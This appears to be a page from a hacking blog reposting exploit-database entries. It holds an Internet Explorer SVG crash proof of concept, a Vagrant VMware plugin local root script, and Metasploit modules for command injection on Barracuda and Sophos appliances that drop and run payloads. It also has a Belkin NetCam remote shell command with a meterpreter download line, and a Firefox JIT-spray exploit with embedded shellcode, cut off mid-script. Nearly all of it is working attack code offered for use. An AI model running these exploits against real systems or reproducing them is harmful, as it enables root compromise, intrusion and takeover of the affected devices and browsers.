Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863582851

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

<!--
There is a memory corruption issue in IE that can be triggered with svg <use> element.

The bug was confirmed on IE Version 11.0.9600.18617 (Update Version 11.0.40) running on Windows 7 64-bit. I was unable to reproduce it on Windows 10.

PoC:

==========================================
-->

<!-- saved from url=(0014)about:internet -->
<script>
function go() {
setTimeout("window.location.reload()",100);
pattern.replaceChild(use,pattern.childNodes[0]);
}
</script>
<body onload=go()>
<!--this is a comment-->
<svg>
<use id="use" xlink:href="#fecomp">
<symbol>
<feComposite id="fecomp" />
</use>
<pattern id="pattern">
<foreignObject><body xmlns="http://www.w3.org/1999/xhtml"><output>2)lt</output>

<!--
==========================================

Following is the crash log when the PoC is ran on 64-bit IE in the single process mode (TabProcGrowth=0).

(1a38.2a98): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
MSHTML!CMarkup::DestroySplayTree+0x10a:
000007fe`e8de2723 48894110        mov     qword ptr [rcx+10h],rax ds:00000000`700400d6=????????????????
0:013> r
rax=0000000012a69010 rbx=0000000012a68c78 rcx=00000000700400c6
rdx=0000000000000001 rsi=0000000012a68f20 rdi=0000000012a58000
rip=000007fee8de2723 rsp=0000000012d9bfb0 rbp=0000000012d9c029
 r8=0000000000000000  r9=0000000012a58000 r10=0000000012a20000
r11=0000000000000025 r12=0000000012a68f20 r13=0000000012a68f20
r14=0000000012a20000 r15=0000000012a68bb0
iopl=0         nv up ei pl zr na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
MSHTML!CMarkup::DestroySplayTree+0x10a:
000007fe`e8de2723 48894110        mov     qword ptr [rcx+10h],rax ds:00000000`700400d6=????????????????
0:013> k
 # Child-SP          RetAddr           Call Site
00 00000000`12d9bfb0 000007fe`e8de1ddc MSHTML!CMarkup::DestroySplayTree+0x10a
01 00000000`12d9c090 000007fe`e8ec9289 MSHTML!CMarkup::UnloadContents+0x49b
02 00000000`12d9c170 000007fe`e8ec9171 MSHTML!CMarkup::TearDownMarkupHelper+0xd5
03 00000000`12d9c1a0 000007fe`e90788b2 MSHTML!CMarkup::TearDownMarkup+0x75
04 00000000`12d9c1f0 000007fe`e998dc7a MSHTML!COmWindowProxy::SwitchMarkup+0x562
05 00000000`12d9c360 000007fe`e969ce9f MSHTML!COmWindowProxy::ExecRefresh+0xa3a
06 00000000`12d9c500 000007fe`e8d99d75 MSHTML!GlobalWndOnMethodCall+0x240
07 00000000`12d9c5a0 00000000`76dd9bbd MSHTML!GlobalWndProc+0x150
08 00000000`12d9c620 00000000`76dd98c2 USER32!UserCallWinProcCheckWow+0x1ad
09 00000000`12d9c6e0 000007fe`f2f83395 USER32!DispatchMessageWorker+0x3b5
0a 00000000`12d9c760 000007fe`f2f7df5b IEFRAME!CTabWindow::_TabWindowThreadProc+0x555
0b 00000000`12d9f9e0 000007fe`fd09572f IEFRAME!LCIETab_ThreadProc+0x3a3
0c 00000000`12d9fb10 000007fe`f0b7925f iertutil!Microsoft::WRL::ActivationFactory<Microsoft::WRL::Implements<Microsoft::WRL::FtmBase,Windows::Foundation::IUriRuntimeClassFactory,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil>,Windows::Foundation::IUriEscapeStatics,Microsoft::WRL::Details::Nil,0>::GetTrustLevel+0x5f
0d 00000000`12d9fb40 00000000`76ed59cd IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x9f
0e 00000000`12d9fb90 00000000`7700a561 kernel32!BaseThreadInitThunk+0xd
0f 00000000`12d9fbc0 00000000`00000000 ntdll!RtlUserThreadStart+0x1d
-->
            
I'm a big fan of Hashicorp but this is an awful bug to have in software of their
calibre.

Their vagrant plugin for vmware fusion uses a product called Ruby Encoder to
protect their proprietary ruby code.  It does this by turning the ruby code into
bytecode and executing it directly.

Unfortunately the execution chain necessary for this to work is not safe.  After
installing the plugin, the first time you "vagrant up" any vagrant file using
vmware fusion it will create some files in
~/.vagrant.d/gems/2.2.5/gems/vagrant-vmware-fusion-4.0.18/bin:

vagrant_vmware_desktop_sudo_helper
vagrant_vmware_desktop_sudo_helper_wrapper_darwin_386
vagrant_vmware_desktop_sudo_helper_wrapper_darwin_amd64
vagrant_vmware_desktop_sudo_helper_wrapper_linux_386
vagrant_vmware_desktop_sudo_helper_wrapper_linux_amd64

The first one is an encoded ruby script, the others are "sudo helper" binaries
for the different platforms supported by the plugin.  Of these sudo helpers,
the one that corresponds to your platform will be made suid root when vagrant up
is run.

Unfortunately the helper calls the ruby script with system("ruby <script path>")
- i.e. it doesn't verify the path to the ruby script and it doesn't scrub the
PATH variable either.  We can easily exploit this to get root.

Hashicorp were quick to respond and kindly paid me a small bounty for my trouble.

The issue was acknowledged by Hashicorp on 08/04/17 and fixed on 14/07/17.

The exploit below is for darwin 64bit but it's likely other architectures are
also vulnerable.

https://m4.rkw.io/vagrant_vmware_privesc.sh.txt
2a58c6fd18e0a36c2fa58ab32298a0e3b89f28843bd8cd4e3a9ff8623028dca3
--------------------------------------------------------------------------

#!/bin/bash

vuln_bin=`find ~/.vagrant.d/ -name vagrant_vmware_desktop_sudo_helper_wrapper_darwin_amd64 -perm +4000 |tail -n1`

if [ "$vuln_bin" == "" ] ; then
  echo "Vulnerable binary not found."
  exit 1
fi

dir=`dirname "$vuln_bin"`

cd "$dir"

cat > ruby <<EOF
#!/bin/bash
echo
echo "************************************************************************"
echo "* Depressingly trivial local root privesc in the vagrant vmware_fusion *"
echo "* plugin, by m4rkw                                                     *"
echo "************************************************************************"
echo
echo "Shout out to #coolkids o/"
echo
bash
exit 0
EOF

chmod 755 ruby

VAGRANT_INSTALLER_EMBEDDED_DIR="~/.vagrant.d/" PATH=".:$PATH" ./vagrant_vmware_desktop_sudo_helper_wrapper_darwin_amd64

--------------------------------------------------------------------------
            
# Exploit Title: Barracuda Load Balancer Firmware <= v6.0.1.006 (2016-08-19) PostAuth remote root exploit
#
# Date: 01/06/2017 (Originally discovered: 3/16)
# Exploit Author: xort
# Software Link: https://www.barracuda.com/products/loadbalancer
# Version: Firmware <=  v6.0.1.006 (2016-08-19)
# Tested on: 6.0.1.006 (2016-08-19)
#            6.0.0.005 (2016-03-22) - checked:4/8/16
#	     5.4.0.004 (2015-11-26) - checked:3/16
#
# Not Vuln:  6.1.0.003 (2017-01-17)
# CVE : CVE-2017-6320
#
# vuln: ondefined_delete_assessment trigger exploit
#
# Postauth remote root in Barracuda Load Balancer Firmware <=  v6.0.1.006 for any under priviledged user with report generating
# capablities. This exploit leverages a command injection bug along with poor sudo permissions to obtain
# root.
#
# xort @ Critical Start

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking
	include  Exploit::Remote::Tcp
        include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Barracuda Load Balancer Firmware <=  v6.0.1.006 delete_assessment root exploit',
					'Description'    => %q{
					This module exploits a remote command execution vulnerability in
				the Barracuda Load Balancer Firmware Version <=  v6.0.1.006 (2016-08-19) by exploiting a
				vulnerability in the web administration interface.
					By sending a specially crafted request it's possible to inject system
				 commands while escalating to root do to relaxed sudo configuration on the local 
				machine.
			},
			'Author'         =>
				[
					'xort', # vuln + metasploit module
				],
			'Version'        => '$Revision: 2 $',
			'References'     =>
				[
					[ 'none', 'none'],
				],
			'Platform'      => [ 'linux'],
			'Privileged'     => true,
			 'Arch'          => [ ARCH_X86 ],
                        'SessionTypes'  => [ 'shell' ],
                        'Privileged'     => false,

		        'Payload'        =>
                                { 
                                  'Compat' =>
                                  {
                                        'ConnectionType' => 'find',
                                  }
                                },

			'Targets'        =>
				[
					['Linux Universal',
						{
								'Arch' => ARCH_X86,
								'Platform' => 'linux'
						}
					],
				],
			'DefaultTarget' => 0))

			register_options(
				[
					OptString.new('PASSWORD', [ false, 'Device password', "" ]),	
					OptString.new('ET', [ false, 'Device password', "" ]),
			         	OptString.new('USERNAME', [ true, 'Device password', "admin" ]),	
					OptString.new('CMD', [ false, 'Command to execute', "" ]),	
					Opt::RPORT(8000),
				], self.class)
	end

        def do_login(username, password_clear, et)
                vprint_status( "Logging into machine with credentials...\n" )

                # vars
                timeout = 1550;
                enc_key = Rex::Text.rand_text_hex(32)

                # send request  
                res = send_request_cgi(
                {
                      'method'  => 'POST',
                      'uri'     => "/cgi-mod/index.cgi",
		      'headers' => 
			{
				'Accept' => "application/json, text/javascript, */*; q=0.01",
				'Content-Type' => "application/x-www-form-urlencoded",
				'X-Requested-With' => "XMLHttpRequest"
			},
                      'vars_post' =>
                        {

                          'enc_key' => enc_key,
                          'et' => et,
                          'user' => "admin", # username,
                          'password' => "admin", # password_clear,
                          'enctype' => "none",
                          'password_entry' => "",
			  'login_page' => "1",
                          'login_state' => "out",
                          'real_user' => "",
                          'locale' => "en_US",
                          'form' => "f",
                          'Submit' => "Sign in",
                        }
                }, timeout)

                # get rid of first yank 
                password = res.body.split('\n').grep(/(.*)password=([^&]+)&/){$2}[0] #change to match below for more exact result
                et = res.body.split('\n').grep(/(.*)et=([^&]+)&/){$2}[0]

                return password, et
        end

	def run_command(username, password, et, cmd)
		vprint_status( "Running Command...\n" )

 		# file to replace
                #sudo_cmd_exec = "/home/product/code/firmware/current/bin/config_agent_wrapper.pl"
                sudo_cmd_exec = "/home/product/code/firmware/current/bin/rdpd"

                sudo_run_cmd_1 = "sudo /bin/cp /bin/sh #{sudo_cmd_exec} ; sudo /bin/chmod +x #{sudo_cmd_exec}"
                sudo_run_cmd_2 = "sudo #{sudo_cmd_exec} -c "

                # random filename to dump too + 'tmp' HAS to be here.
                b64dumpfile = "/tmp/" + rand_text_alphanumeric(4+rand(4))

		vprint_status(" file = " + b64dumpfile)

                # decoder stubs - tells 'base64' command to decode and dump data to temp file
                b64decode1 = "echo \""
                b64decode2 = "\" | base64 -d >" + b64dumpfile

                # base64 - encode with base64 so we can send special chars and multiple lines
                cmd = Base64.strict_encode64(cmd)

                # Create injection string.
                #      a) package the  base64 decoder with encoded bytes
                #      b) attach a chmod +x request to make the script created (b64dumpfile) executable
                #      c) execute decoded base64 dumpfile

                injection_string = b64decode1 + cmd + b64decode2 + "; /bin/chmod +x " + b64dumpfile + "; " + sudo_run_cmd_1 + "; " + sudo_run_cmd_2 + b64dumpfile # + " ; rm " + b64dumpfile

	 	exploitreq = [
		[ "auth_type","Local" ],
		[ "et",et ],
		[ "locale","en_US" ],
		[ "password", password  ],
		[ "primary_tab", "ADVANCE" ],
		[ "realm","" ],
		[ "secondary_tab","advanced_system" ],
		[ "user", username ],
		[ "timestamp", Time.now.to_i ],

		[ "UPDATE_scan_information_in_use", "xx; #{injection_string}" ], # vuln
		[ "delete_assessment",  Rex::Text.rand_text_numeric(20) ]
		]
		
		boundary = "---------------------------" + Rex::Text.rand_text_numeric(34)

		post_data = ""
	
		exploitreq.each do |xreq|
		    post_data << "--#{boundary}\r\n"
		    post_data << "Content-Disposition: form-data; name=\"#{xreq[0]}\"\r\n\r\n"
		    post_data << "#{xreq[1]}\r\n"
		end
	    	post_data << "--#{boundary}--\r\n"

	        res = send_request_cgi({
         	   'method' => 'POST',
	           'uri'    => "/cgi-mod/index.cgi",
       		   'ctype'  => "multipart/form-data; boundary=#{boundary}",
            	   'data'   => post_data,
		   'headers' => 
			{
				'UserAgent' => "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0",
			}
	        })	
	end

	def run_script(username, password, et, cmds)
	  	vprint_status( "running script...\n")
	  
	  
	end
	
	def exploit
		# timeout
		timeout = 1550;

		user = "admin"
		
		# params
                real_user = "";
		login_state = "out"
		et = Time.now.to_i
		locale = "en_US"
		user = "admin"
		password = "admin"
		enctype = "MD5"
		password_entry = ""
		password_clear = "admin"
		
		password_hash, et = do_login(user, password_clear, et)
		vprint_status("new password: #{password_hash} et: #{et}\n")

		sleep(5)


		 #if no 'CMD' string - add code for root shell
                if not datastore['CMD'].nil? and not datastore['CMD'].empty?

                        cmd = datastore['CMD']

                        # Encode cmd payload
                        encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')

                        # kill stale calls to bdump from previous exploit calls for re-use
                        run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/n ;printf \"#{encoded_cmd}\" > /tmp/n; chmod +rx /tmp/n ; /tmp/n" ))
                else
                        # Encode payload to ELF file for deployment
                        elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
                        encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')

                        # kill stale calls to bdump from previous exploit calls for re-use
#                        run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/m ;printf \"#{encoded_elf}\" > /tmp/m; chmod +rx /tmp/m ; /tmp/m" ))

                        run_command(user, password_hash, et, ("printf \"#{encoded_elf}\" > /tmp/m; chmod +rx /tmp/m ; /tmp/m" ))
                        handler
                end


	end

end
            
# Exploit Title: Sophos Web Appliance reporting JSON trafficType Remote Command Injection Vulnerablity 
# Date: 01/28/2017
# Exploit Author: xort @ Critical Start
# Vendor Homepage: www.sophos.com
# Software Link: sophos.com/en-us/products/secure-web-gateway.aspx
# Version: 4.3.0.2
# Tested on: 4.3.0.2
#            
# CVE : (awaiting cve) 

# vuln:  report command / trafficType JSON parameter /  ???.php exploit

# Description PostAuth Sophos Web App FW <= v4.3.0.2 for capablities. This exploit leverages a command injection bug. 
#
# xort @ Critical Start

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
	Rank = ExcellentRanking
	include  Exploit::Remote::Tcp
        include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Sophos Web Appliace <= v4.3.0.2 JSON reporting remote exploit',
					'Description'    => %q{
					This module exploits a remote command execution vulnerability in
				the Sophos Web Appliace Version <=  v4.3.0.2. The vulnerability exist in
				a section of the machine's reporting inferaface that accepts unsanitized 
				unser supplied information within a JSON query. 
			},
			'Author'         =>
				[
					'xort@Critical Start', # vuln + metasploit module
				],
			'Version'        => '$Revision: 1 $',
			'References'     =>
				[
					[ 'none', 'none'],
				],
			'Platform'      => [ 'linux'],
			'Privileged'     => true,
			 'Arch'          => [ ARCH_X86 ],
                        'SessionTypes'  => [ 'shell' ],
		        'Payload'        =>
                                { 
                                  'Compat' =>
                                  {
                                        'ConnectionType' => 'find',
                                  }
                                },

			'Targets'        =>
				[
					['Linux Universal',
						{
								'Arch' => ARCH_X86,
								'Platform' => 'linux'
						}
					],
				],
			'DefaultTarget' => 0))

			register_options(
				[
					OptString.new('PASSWORD', [ false, 'Device password', "" ]),	
			         	OptString.new('USERNAME', [ true, 'Device password', "admin" ]),	
					OptString.new('CMD', [ false, 'Command to execute', "" ]),	
					Opt::RPORT(443),
				], self.class)
	end

        def do_login(username, password_clear)
                vprint_status( "Logging into machine with credentials...\n" )

                # vars
                timeout = 1550;
                style_key = Rex::Text.rand_text_hex(32)

                # send request  
                res = send_request_cgi(
                {
                      'method'  => 'POST',
                      'uri'     => "/index.php",
                      'vars_get' => {
			   'c' => 'login',
			},
                      'vars_post' =>
                        {

       			  'STYLE' => style_key,
 			  'destination' => '',
			  'section' => '',
			  'username' => username,
			  'password' => password_clear
                        },
	              'headers' => {
                          'Connection' => 'close',
                      }

                }, timeout)

                return style_key
        end

	def run_command(username, style_password, cmd)

		vprint_status( "Running Command...\n" )

		# send request with payload	
		res = send_request_cgi({
			'method' => 'POST',
                        'uri'     => "/index.php",
			'vars_post' => {
				'chart' => 'pie',
				'period' => 'custom',
				'multiplier' => '1',
				'metric' => '',
				'token' => '0.3156784180233425',
				'start' => '1/27/2017',
				'end' => '1/27/2017',
				'filters' => '{"topn": "25", "trafficType": "out|'+cmd+'&", "department": "sophos_swa_all_departments"}',	
				'pdf' => '1',
				'test' => '',	
				'STYLE' => style_password ,
				},
			'vars_get' => {
				'c' => 'report',
				'name' => 'traf_users',
				'STYLE' => style_password ,
			},
		})

	end

	
	def exploit
		# timeout
		timeout = 1550;

		# params
		password_clear = datastore['PASSWORD']
		user = datastore['USERNAME']

		# do authentication		
		style_hash = do_login(user, password_clear)
	
		vprint_status("STATUS hash authenticated: #{style_hash}\n")
			
		# pause to let things run smoothly
		sleep(2)

		 #if no 'CMD' string - add code for root shell
                if not datastore['CMD'].nil? and not datastore['CMD'].empty?

                        cmd = datastore['CMD']

                        # Encode cmd payload

                        encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\\\\\\\\\\\\x\1\2')

			# upload elf to /tmp/n , chmod +rx /tmp/n , then run /tmp/n (payload)
                        run_command(user, style_hash, ("echo -e #{encoded_cmd}>/tmp/n;chmod +rx /tmp/n;/tmp/n" ))
                else
                        # Encode payload to ELF file for deployment
                        elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
                        encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\\\\\\\\\\\\x\1\2')

			# upload elf to /tmp/m , chmod +rx /tmp/m , then run /tmp/m (payload)
                        run_command(user, style_hash, ("(echo -e #{encoded_elf}>/tmp/m;chmod +rx /tmp/m;/tmp/m)"))

			# wait for magic
                        handler
			
                end


	end
end
            
# Exploit Title: Belkin NetCam F7D7601 | Remote Command Execution
# Date: 17/07/17
# Exploit Author: Wadeek
# Vendor Homepage: http://www.belkin.com/
# Tested on: Belkin NetCam F7D7601 (WeMo_NetCam_WW_2.00.10684.PVT)
================================================
##
UnsetupMode == [0]
Hard-coded password admin:admin - SetupMode == [1]
##
================================================
##
[1] BusyBox version & Linux version & gcc version >> GET http://[IP]:80/goform/syslog
[1] System version >> GET http://[IP]:80/goform/getSystemSettings?systemModel&systemVersion&brandName&longBrandName
[1] Camera snapshot >> GET http://[IP]:80/goform/snapshot
[1] Camera streaming >> GET http://[IP]:80/goform/video
[101] Disclosure username and password on netcam.belkin.com >> GET http://[IP]:80/goform/apcamMode
[101] Disclosure wifi password >> GET http://[IP]:80/apcam/for-android/aplist.asp
[0] Firmware version >> GET http://[IP]:[49150..49159]/setup.xml
##
================================================
#||
================================================
[0] Network Fingerprinting
##
80/tcp open http
HTTP/1.1 404 Site or Page Not Found
Server: Camera Web Server
<title>Document Error: Site or Page Not Found</title>
<h2>Access Error: Site or Page Not Found</h2>
<p>Page Not Found</p>
&&
[49150..49159]/tcp open UPnP
HTTP/0.0 400 Bad Request
SERVER: Unspecified, UPnP/1.0, Unspecified
<h1>400 Bad Request</h1>
##
================================================
#||
================================================
[1] Wireless Fingerprinting
##
ESSID:"NetCamXXXX"
Encryption key:off
Address: C0:56:27
##
[1] Network Fingerprinting
##
80/tcp open http
HTTP/1.1 401 Unauthorized
Server: Camera Web Server
WWW-Authenticate: Basic realm="Camera Web Server"
<title>Document Error: Unauthorized</title>
<h2>Access Error: Unauthorized</h2>
<p>Access to this document requires a User ID</p>
##
[1] Remote Command Execution
/!/ !/
:~$ curl 'http://[IP]/goform/SystemCommand?command=telnetd%20-l%20/bin/sh' -H 'Authorization: Basic YWRtaW46YWRtaW4='
:~$ telnet [IP] 23
upload by FTP # ftpput -v -u [USERNAME] -p [PASSWORD] -P [PORT] [IP] [REMOTE-FILENAME] [LOCAL-FILENAME]
upload by TFTP # tftp -p -r [LOCAL-FILENAME] [IP] [PORT]
download by TFTP # tftp -g -r [REMOTE-FILENAME_ELF_32-bit_LSB_executable_MIPS || linux/mipsle/meterpreter/reverse_tcp] [IP] [PORT]
/!/ !/
================================================
            
<!DOCTYPE HTML>

<!--

    FULL ASLR AND DEP BYPASS USING ASM.JS JIT SPRAY (CVE-2017-5375)
    PoC Exploit against Firefox 50.0.1 (CVE-2016-9079 - Tor Browser 0day)

    Tested on:

    Release 50.0.1 32-bit - Windows 8.1 / Windows 10
    https://ftp.mozilla.org/pub/firefox/releases/50.0.1/win32/en-US/Firefox%20Setup%2050.0.1.exe

    Howto:

    1) serve PoC over network and open it in Firefox 50.0.1 32-bit
    2) if you don't see cmd.exe, open processexplorer and verify that cmd.exe was spawned by firefox.exe

    A successfull exploit attempt should pop cmd.exe

    Writeup: https://rh0dev.github.io/blog/2017/the-return-of-the-jit/
    
    (C) Rh0

    Jul. 13, 2017

-->

<script async>
function asm_js_module(){
    "use asm";
    /* huge jitted nop sled */
    function payload_code(){
        var val = 0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        /* 3 byte VirtualAlloc RWX stager */
        val = (val + 0xa890db31)|0;
        val = (val + 0xa89030b3)|0;
        val = (val + 0xa81b8b64)|0;
        val = (val + 0xa80c5b8b)|0;
        val = (val + 0xa81c5b8b)|0;
        val = (val + 0xa8b9006a)|0;
        val = (val + 0xa8904c4c)|0;
        val = (val + 0xa8902eb1)|0;
        val = (val + 0xa85144b5)|0;
        val = (val + 0xa8b99090)|0;
        val = (val + 0xa8903233)|0;
        val = (val + 0xa89045b1)|0;
        val = (val + 0xa8514cb5)|0;
        val = (val + 0xa8b99090)|0;
        val = (val + 0xa8904e52)|0;
        val = (val + 0xa8904bb1)|0;
        val = (val + 0xa85145b5)|0;
        val = (val + 0xa8590e6a)|0;
        val = (val + 0xa84fe789)|0;
        val = (val + 0xa8086b8b)|0;
        val = (val + 0xa820738b)|0;
        val = (val + 0xa8471b8b)|0;
        val = (val + 0xa82ae349)|0;
        val = (val + 0xa890c031)|0;
        val = (val + 0xa890ad66)|0;
        val = (val + 0xa89c613c)|0;
        val = (val + 0xa8077c9d)|0;
        val = (val + 0xa890202c)|0;
        val = (val + 0xa89c073a)|0;
        val = (val + 0xa8d7749d)|0;
        val = (val + 0xa890bdeb)|0;
        val = (val + 0xa8b9006a)|0;
        val = (val + 0xa890636f)|0;
        val = (val + 0xa8906cb1)|0;
        val = (val + 0xa8516cb5)|0;
        val = (val + 0xa8b99090)|0;
        val = (val + 0xa890416c)|0;
        val = (val + 0xa89075b1)|0;
        val = (val + 0xa85161b5)|0;
        val = (val + 0xa8b99090)|0;
        val = (val + 0xa8907472)|0;
        val = (val + 0xa89056b1)|0;
        val = (val + 0xa85169b5)|0;
        val = (val + 0xa890eb89)|0;
        val = (val + 0xa83cc583)|0;
        val = (val + 0xa8006d8b)|0;
        val = (val + 0xa890dd01)|0;
        val = (val + 0xa878c583)|0;
        val = (val + 0xa8006d8b)|0;
        val = (val + 0xa890dd01)|0;
        val = (val + 0xa820458b)|0;
        val = (val + 0xa890d801)|0;
        val = (val + 0xa890d231)|0;
        val = (val + 0xa890e789)|0;
        val = (val + 0xa8590d6a)|0;
        val = (val + 0xa810348b)|0;
        val = (val + 0xa890de01)|0;
        val = (val + 0xa890a6f3)|0;
        val = (val + 0xa8900de3)|0;
        val = (val + 0xa804c283)|0;
        val = (val + 0xa890dbeb)|0;
        val = (val + 0xa8247d8b)|0;
        val = (val + 0xa890df01)|0;
        val = (val + 0xa890ead1)|0;
        val = (val + 0xa890d701)|0;
        val = (val + 0xa890d231)|0;
        val = (val + 0xa8178b66)|0;
        val = (val + 0xa81c7d8b)|0;
        val = (val + 0xa890df01)|0;
        val = (val + 0xa802e2c1)|0;
        val = (val + 0xa890d701)|0;
        val = (val + 0xa8903f8b)|0;
        val = (val + 0xa890df01)|0;
        val = (val + 0xa890406a)|0;
        val = (val + 0xa890c031)|0;
        val = (val + 0xa85030b4)|0;
        val = (val + 0xa85010b4)|0;
        val = (val + 0xa890006a)|0;
        val = (val + 0xa890d7ff)|0;
        val = (val + 0xa890c931)|0;
        val = (val + 0xa89000b5)|0;
        val = (val + 0xa890c3b1)|0;
        val = (val + 0xa890ebd9)|0;
        val = (val + 0xa82434d9)|0;
        val = (val + 0xa890e689)|0;
        val = (val + 0xa80cc683)|0;
        val = (val + 0xa890368b)|0;
        val = (val + 0xa85fc683)|0;
        val = (val + 0xa890c789)|0;
        val = (val + 0xa81e8b66)|0;
        val = (val + 0xa81f8966)|0;
        val = (val + 0xa802c683)|0;
        val = (val + 0xa802c783)|0;
        val = (val + 0xa8901e8a)|0;
        val = (val + 0xa8901f88)|0;
        val = (val + 0xa803c683)|0;
        val = (val + 0xa801c783)|0;
        val = (val + 0xa803e983)|0;
        val = (val + 0xa89008e3)|0;
        val = (val + 0xa890cceb)|0;
        val = (val + 0xa890e0ff)|0;
        val = (val + 0xa824248d)|0;
        /* $ msfvenom --payload windows/exec CMD=cmd.exe EXITFUNC=seh */
        val = (val + 0xa882e8fc)|0;
        val = (val + 0xa8000000)|0;
        val = (val + 0xa8e58960)|0;
        val = (val + 0xa864c031)|0;
        val = (val + 0xa830508b)|0;
        val = (val + 0xa80c528b)|0;
        val = (val + 0xa814528b)|0;
        val = (val + 0xa828728b)|0;
        val = (val + 0xa84ab70f)|0;
        val = (val + 0xa8ff3126)|0;
        val = (val + 0xa8613cac)|0;
        val = (val + 0xa82c027c)|0;
        val = (val + 0xa8cfc120)|0;
        val = (val + 0xa8c7010d)|0;
        val = (val + 0xa852f2e2)|0;
        val = (val + 0xa8528b57)|0;
        val = (val + 0xa84a8b10)|0;
        val = (val + 0xa84c8b3c)|0;
        val = (val + 0xa8e37811)|0;
        val = (val + 0xa8d10148)|0;
        val = (val + 0xa8598b51)|0;
        val = (val + 0xa8d30120)|0;
        val = (val + 0xa818498b)|0;
        val = (val + 0xa8493ae3)|0;
        val = (val + 0xa88b348b)|0;
        val = (val + 0xa831d601)|0;
        val = (val + 0xa8c1acff)|0;
        val = (val + 0xa8010dcf)|0;
        val = (val + 0xa8e038c7)|0;
        val = (val + 0xa803f675)|0;
        val = (val + 0xa83bf87d)|0;
        val = (val + 0xa875247d)|0;
        val = (val + 0xa88b58e4)|0;
        val = (val + 0xa8012458)|0;
        val = (val + 0xa88b66d3)|0;
        val = (val + 0xa88b4b0c)|0;
        val = (val + 0xa8011c58)|0;
        val = (val + 0xa8048bd3)|0;
        val = (val + 0xa8d0018b)|0;
        val = (val + 0xa8244489)|0;
        val = (val + 0xa85b5b24)|0;
        val = (val + 0xa85a5961)|0;
        val = (val + 0xa8e0ff51)|0;
        val = (val + 0xa85a5f5f)|0;
        val = (val + 0xa8eb128b)|0;
        val = (val + 0xa86a5d8d)|0;
        val = (val + 0xa8858d01)|0;
        val = (val + 0xa80000b2)|0;
        val = (val + 0xa8685000)|0;
        val = (val + 0xa86f8b31)|0;
        val = (val + 0xa8d5ff87)|0;
        val = (val + 0xa80efebb)|0;
        val = (val + 0xa868ea32)|0;
        val = (val + 0xa8bd95a6)|0;
        val = (val + 0xa8d5ff9d)|0;
        val = (val + 0xa87c063c)|0;
        val = (val + 0xa8fb800a)|0;
        val = (val + 0xa80575e0)|0;
        val = (val + 0xa81347bb)|0;
        val = (val + 0xa86a6f72)|0;
        val = (val + 0xa8ff5300)|0;
        val = (val + 0xa86d63d5)|0;
        val = (val + 0xa8652e64)|0;
        val = (val + 0xa8006578)|0;
        val = (val + 0xa8909090)|0;

        return val|0;
    }
    return payload_code 
}
</script>

<script>
function spray_asm_js_modules(){
    sprayed = []
    for (var i=0; i<= 0x1800; i++){
        sprayed[i] = asm_js_module()
    }
}

/* heap spray inspired by skylined */
function heap_spray_fake_objects(){
    var heap = []
    var current_address = 0x08000000
    var block_size = 0x1000000
    while(current_address < object_target_address){
        var heap_block = new Uint32Array(block_size/4 - 0x100)
        for (var offset = 0; offset < block_size; offset += 0x100000){

            /* fake object target = ecx + 0x88 and fake vtable*/
            heap_block[offset/4 + 0x00/4] = object_target_address
            /* self + 4 */
            heap_block[offset/4 + 0x14/4] = object_target_address
            /* the path to EIP */
            heap_block[offset/4 + 0x18/4] = 4
            heap_block[offset/4 + 0xac/4] = 1
            /* fake virtual function --> JIT target */
            heap_block[offset/4 + 0x138/4] = jit_payload_target 
        }
        heap.push(heap_block)
        current_address += block_size
    }
    return heap
}

/* address of fake object */
object_target_address = 0x30300000

/* address of our jitted shellcode */
jit_payload_target = 0x1c1c0054

/* ASM.JS JIT Spray */
spray_asm_js_modules()

/* Spray fake objects */
heap = heap_spray_fake_objects()

